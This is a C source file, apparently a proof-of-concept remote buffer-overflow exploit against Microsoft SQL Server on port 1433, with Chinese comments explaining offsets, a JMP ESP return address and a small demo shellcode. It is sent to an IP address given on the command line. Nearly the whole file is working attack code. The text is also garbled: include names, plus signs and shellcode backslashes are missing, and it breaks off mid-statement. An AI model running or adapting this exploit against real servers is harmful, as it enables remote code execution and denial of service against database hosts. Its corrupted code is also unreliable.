#include #include #include #include #include int main(int argc, char* argv[]) { WSADATA WSAData; SOCKET sock; SOCKADDR_IN addr_in; unsigned char buf0[48 572]={ 0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b, 0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2, 0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1}; unsigned char buf1[255]={10,9,8,7,6,5,4,3,2,1,0}; char exploit_code[21]= "x83xc4x81x8bxc4x50xffx15xf8xe0xcfx42" "x33xc0x50xffx15x84xe0xcfx42"; //这个是打印"sql hack demo"并退出sql server的shellcode代码 int i; int len; const int SNDBUF = 0; const int TCPNODELAY = TRUE; const int BROADCAST = TRUE; int fo=572; //需要覆盖的返回地址偏移处 if (argc buf0[fo-0x8]=0xff; buf0[fo-0x7]=0xff; buf0[fo-0x6]=0xff; buf0[fo-0x5]=0xff; //42D01CFC 为SQL SERVER固定的数据区域,且其汇编代码不引起问题 buf0[fo 4]=0xfc; buf0[fo 5]=0x1c; buf0[fo 6]=0xd0; buf0[fo 7]=0x42; //42d01c72 为固定的数据区域才能可写 buf0[fo 8]=0x64; buf0[fo 9]=0x0d; buf0[fo 0xa]=0xd0; buf0[fo 0xb]=0x42; //42D01CFC 为固定的数据区域才能可写 buf0[fo 0xc]=0xfc; buf0[fo 0xd]=0x1c; buf0[fo 0xe]=0xd0; buf0[fo 0xf]=0x42; //42d01c72 为固定的数据区域才能可写 buf0[fo 0x10]=0x64; buf0[fo 0x11]=0x0d; buf0[fo 0x12]=0xd0; buf0[fo 0x13]=0x42; //42d01c72 为固定的数据区域才能可写 buf0[fo 0x14]=0x64; buf0[fo 0x15]=0x0d; buf0[fo 0x16]=0xd0; buf0[fo 0x17]=0x42; //在溢出了返回地址后,由于其中的N个代码需要返回后跳转、而此处由在子函数中需要处理,因此寻找一个数据地址放入,同时使得其汇编代码不引起访问异常。 //然后下面的几个地址是在此过程中不需要使用的,因此可以大胆修改成我们需要的汇编代码了 //写入跳回去的代码buf0[fo 0xc]=0x42; buf0[fo 0x18]=0x81; //ADD ESP,0XFFFFFF92 buf0[fo 0x19]=0x83; buf0[fo 0x1a]=0xc4; buf0[fo 0x1b]=0x81; //ADD ESP,0XFFFFFF92 buf0[fo 0x1C]=0x83; buf0[fo 0x1D]=0xc4; buf0[fo 0x1E]=0x81; //ADD ESP,0XFFFFFF92 buf0[fo 0x1f]=0x83; buf0[fo 0x20]=0xc4; buf0[fo 0x21]=0x81; //JMP ESP buf0[fo 0x22]=0xff; buf0[fo 0x23]=0xe4; //以上代码在溢出返回后执行,由于主要的shellcode防在前面,需要跳转回去 //不直接放在后面的原因在于:覆盖了后面的一些变量,会导致提前出现地址访问异常,导致无法达到执行我们想要代码的目的 memcpy(buf0 fo-8-364,exploit_code,21); //拷贝SHELLCODE //FFE4=JMP ESP //设置溢出地址的值,42B0C9DC是SQL SERVER本身代码有的FFE4地方 buf0[fo]=0xDC; buf0[fo 1]=0xC9; buf0[fo 2]=0xB0; buf0[fo 3]=0x42; //需要找到JMP ESP的代码,然而这个是随版本变化的,所以干脆在SQL SERVER程序中找,只要组合成这个就可 if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:%d ",WSAGetLastError()); return FALSE; } if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:%d ",WSAGetLastError()); return FALSE; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(1433); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); buf0[1]=1; if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); return FALSE; } if (send(sock, buf0, sizeof(buf0), 0)==SOCKET_ERROR) { printf("Send failed.Error:%d ",WSAGetLastError()); return FALSE; } len=recv(so